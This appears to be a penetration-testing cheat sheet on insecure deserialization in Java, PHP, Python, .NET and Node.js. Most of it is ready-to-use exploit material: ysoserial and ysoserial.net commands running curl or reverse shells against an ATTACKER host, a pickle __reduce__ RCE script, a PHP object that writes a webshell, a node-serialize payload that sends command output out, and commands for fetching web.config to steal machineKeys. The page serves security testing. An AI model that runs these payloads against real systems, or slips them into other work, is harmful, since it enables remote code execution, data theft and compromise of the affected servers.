Insecure Deserialization
Insecure deserialization across Java, PHP, Python, .NET, and Node.js: detecting serialized objects, ysoserial gadget chains, PHP magic methods, .NET ViewState exploitation, pickle RCE, and Burp Deserialization Scanner workflow.
What is Insecure Deserialization
Serialization converts an object into a transmittable byte stream. Deserialization reconstructs it. When an app deserializes user-controlled data, an attacker can modify the serialized object to change the app’s behaviour — or supply a gadget chain that executes arbitrary code during deserialization.
Detecting Serialized Data
Java
Serialized Java objects start with bytes ac ed 00 05 (binary) or rO0AB (base64):
echo "rO0ABXNy..." | base64 -d | xxd | head -1
# Output: ac ed 00 05 ...
Look for these in:
- HTTP request bodies
- Cookies (
JSESSIONID,rememberMe) - Hidden form fields
- JSON/XML fields with base64 blobs
PHP
Serialized PHP starts with O: (object), a: (array), s: (string):
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}
Found in: cookies, hidden fields, URL parameters.
Python (pickle)
Pickle byte streams start with \x80\x04 or ( for older protocols. Often base64 encoded. Found in: Flask cookies (if not using itsdangerous correctly), cache stores.
.NET
BinaryFormatter serialized data starts with AAEAAAD (base64). ViewState is base64, often contains __VIEWSTATE hidden form field.
Node.js (node-serialize)
JSON objects with a _$$ND_FUNC$$_ key containing a function string:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}
Java Deserialization — ysoserial
ysoserial generates payloads using known “gadget chains” (existing library code that can be chained to achieve RCE).
List available gadget chains:
java -jar ysoserial.jar
Generate a payload (CommonsCollections6 is a reliable chain):
java -jar ysoserial.jar CommonsCollections6 'curl http://ATTACKER:8080/?rce=1' > payload.ser
Base64-encode for HTTP:
java -jar ysoserial.jar CommonsCollections6 'curl http://ATTACKER:8080/?rce=1' | base64 -w 0
Test each chain — success depends on which libraries are on the classpath.
Common chains to try:
CommonsCollections1 CommonsCollections3 CommonsCollections6
Spring1 Spring2
Hibernate1 Hibernate2
BeanShell1
ROME
Groovy1
Detect Java deserialization via DNS (Burp Collaborator)
java -jar ysoserial.jar URLDNS "http://YOUR_COLLABORATOR_SUBDOMAIN" | base64 -w 0
Send the base64 payload in the target parameter. If Collaborator receives a DNS lookup → deserialization confirmed (URLDNS causes DNS lookups, not RCE — safe for detection).
PHP Deserialization — Magic Methods
PHP calls magic methods automatically during deserialization:
| Method | Called when |
|---|---|
__wakeup() | Object is deserialized |
__destruct() | Object is garbage collected |
__toString() | Object is used as a string |
__call() | Undefined method is invoked |
If these methods perform dangerous operations (file write, include, eval, system), modify the serialized object’s properties to control them.
Example: Modifying a serialized PHP object
Original cookie:
O:4:"User":1:{s:8:"username";s:5:"guest";}
Modified to admin:
O:4:"User":1:{s:8:"username";s:5:"admin";}
Or exploit a __destruct that writes a file:
// App code: $this->logFile = "/tmp/log.txt"; file_put_contents($this->logFile, $data);
Modify logFile to a web-accessible path and data to a webshell:
O:4:"User":2:{s:7:"logFile";s:25:"/var/www/html/shell.php";s:4:"data";s:25:"<?php system($_GET[0]); ?>";}
PHP Object Injection with Phar
Phar archives trigger deserialization on file operations (file_exists(), include(), fopen()). If the app processes a file path you control:
# Create a malicious Phar file
php -d phar.readonly=0 gen_phar.php
Pass phar://path/to/evil.phar as the file path input.
Python Pickle RCE
Pickle’s __reduce__ method specifies what to call during deserialization:
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://ATTACKER:8080/?rce=1',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
Submit the base64 output wherever a pickle object is expected (cookie, form field, API parameter).
.NET ViewState Deserialization
ViewState is a base64+MAC-protected serialized object in __VIEWSTATE. If the machineKey is known or weak, you can forge a malicious ViewState.
Step 1 — Identify machineKey exposure
curl -s https://TARGET/web.config
curl -s https://TARGET/appname/web.config
Or leak via LFI / path traversal.
Step 2 — Generate payload with ysoserial.net
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \
--path="/PAGE_PATH.aspx" \
--apppath="/" \
--decryptionalg="AES" \
--decryptionkey="MACHINE_KEY" \
--validationalg="SHA1" \
--validationkey="VALIDATION_KEY" \
-c "powershell -c 'curl http://ATTACKER/'"
Submit the generated ViewState in the __VIEWSTATE POST parameter.
Step 3 — No key? Try without MAC validation
Some apps disable enableViewStateMac. Check if a ViewState without a valid MAC is accepted.
Node.js node-serialize RCE
# Install and test
npm install node-serialize
Malicious payload:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(err,stdout){require('http').get('http://ATTACKER/?o='+stdout)})}()"}
URL-encode and submit in any cookie or POST parameter that uses node-serialize.unserialize().
Burp Suite workflow
- Proxy — look for base64 blobs in cookies, bodies, hidden fields. Decode them; check for serialized format identifiers.
- Burp Scanner — active scan detects Java deserialization (
ac ed 00 05patterns) and flags them. - Java Deserialization Scanner extension (BApp) — sends ysoserial probes automatically and reports via Collaborator.
- Deserialization Scanner (BApp) — broader multi-language detection.
- Repeater — replace the serialized blob with your crafted payload; base64-encode and URL-encode as needed.
- Collaborator — use URLDNS payloads first (safe, no side effects) to confirm deserialization before escalating to RCE.
.NET Deserialization (JSON.NET / BinaryFormatter)
Detection
.NET serialized objects appear as:
- BinaryFormatter: base64 starting with
AAEAAAD/////(binary serialization) - JSON.NET: JSON with
$typekeys:{"$type":"System.Windows.Data.ObjectDataProvider... - XML (XmlSerializer / DataContractSerializer): XML with namespace
xmlns:i= - ViewState: base64 in
__VIEWSTATEfield (see Padding Oracle page for ViewState forgery)
ObjectDataProvider gadget (JSON.NET)
The ObjectDataProvider gadget calls a method on any object during deserialization. Combined with Process.Start, this achieves RCE.
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd.exe", "/c calc"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
ysoserial.NET
# List available gadgets
ysoserial.exe -h
# ObjectDataProvider (JSON.NET) — pop calc
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o Raw
# ObjectDataProvider — reverse shell
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "powershell -enc BASE64_ENCODED_PS1" -o Raw
# TypeConfuseDelegate (BinaryFormatter) — for binary deserialization endpoints
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o Base64
# WindowsIdentity (BinaryFormatter)
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o Base64
Download: https://github.com/pwntester/ysoserial.net/releases
TypeConfuseDelegate gadget (BinaryFormatter)
Works by confusing a Comparison<string> delegate into executing Process.Start:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c ping ATTACKER" -o Base64
Base64-encode the output and submit it in any parameter that is deserialized with BinaryFormatter.
ViewState deserialization (ASP.NET without MAC)
If ViewState MAC validation is disabled, forge a ViewState payload:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami > C:\output.txt" --islegacy --validationalg="SHA1" --validationkey="KEY_FROM_WEB_CONFIG"
Pass the output as __VIEWSTATE in a POST request.
Detection via Burp
- Search cookies and POST bodies for
AAEAAAD,$type, or__VIEWSTATEvalues. - Decode base64 and check for
AAEAAADprefix → BinaryFormatter. - Check for
$typewithObjectDataProviderorTypeConfuseDelegate→ JSON.NET gadget likely works. - Java Deserialization Scanner BApp also detects some .NET patterns.